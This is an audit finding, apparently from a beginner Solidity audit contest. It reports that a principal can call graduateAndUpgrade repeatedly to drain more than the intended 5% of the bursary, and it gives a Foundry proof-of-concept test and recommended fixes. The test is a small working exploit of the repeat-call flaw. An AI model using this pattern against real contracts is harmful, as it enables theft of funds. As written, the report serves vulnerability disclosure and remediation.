Hawk High

First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: low
Valid

Principal can call `LevelOne:graduateAndUpgrade` function repeatdly gaining more than 5% of the bursury

Description: since LevelOne:graduateAndUpgrade is not private and included in upgradeToAndCall function the principal can just keep calling graduateAndUpgrade to earn more than what the pricipal is intended to gain.

Vulnerability Details: pricipal can call graduateAndUpgrade function

Impact: principal and teacher will get more than they are suppose to

Tools Used: Manual Review

Proof of Concept: For this test to work we need to remove one vulnerability that is not dividing the teacher share among teachers

function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
if (_levelTwo == address(0)) {
revert HH__ZeroAddress();
}
uint256 totalTeachers = listOfTeachers.length;
uint256 payPerTeacher = (bursary * TEACHER_WAGE) / PRECISION; // naming should be correct
uint256 principalPay = (bursary * PRINCIPAL_WAGE) / PRECISION;
+ uint256 payForEachTeacher = payPerTeacher / totalTeachers;
_authorizeUpgrade(_levelTwo);
for (uint256 n = 0; n < totalTeachers; n++) {
- usdc.safeTransfer(listOfTeachers[n], payPerTeacher);
+ usdc.safeTransfer(listOfTeachers[n], payForEachTeacher);
}
usdc.safeTransfer(principal, principalPay);
}
Proof of Code
function test_graduateAndUpgradeCanBeCalledAgain() public {
vm.startPrank(principal);
levelOneProxy.addTeacher(alice);
levelOneProxy.addTeacher(bob);
vm.stopPrank();
vm.startPrank(clara);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
vm.startPrank(dan);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
vm.startPrank(eli);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
vm.startPrank(fin);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
vm.startPrank(grey);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
vm.startPrank(harriet);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
// Session has not been started
bool hasSessionStarted = levelOneProxy.getSessionStatus();
bytes memory data = abi.encodeCall(LevelTwo.graduate, ());
vm.startPrank(principal);
levelOneProxy.graduateAndUpgrade(levelTwoImplementationAddress, data);
levelOneProxy.graduateAndUpgrade(levelTwoImplementationAddress, data);
// levelOneProxy.upgradeToAndCall(levelTwoImplementationAddress, data);
vm.stopPrank();
vm.expectRevert();
LevelTwo(proxyAddress).TEACHER_WAGE_L2();
// 5% + 5% = 10%
assert(usdc.balanceOf(principal) == 3000 ether);
assert(!hasSessionStarted);
}

Recommendations: There are ways to prevent this

  1. make the graduateAndUpgrade function private and add it to upgradeToAndCall this will prevent the principal from calling it again

  2. make a boolean variable that triggers after graduateAndUpgradefunction is over and add check for that boolean variable at the beiginning ofgraduateAndUpgradeFunction`

Updates

Lead Judging Commences

yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

session state not updated

`inSession` not updated after during upgrade

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.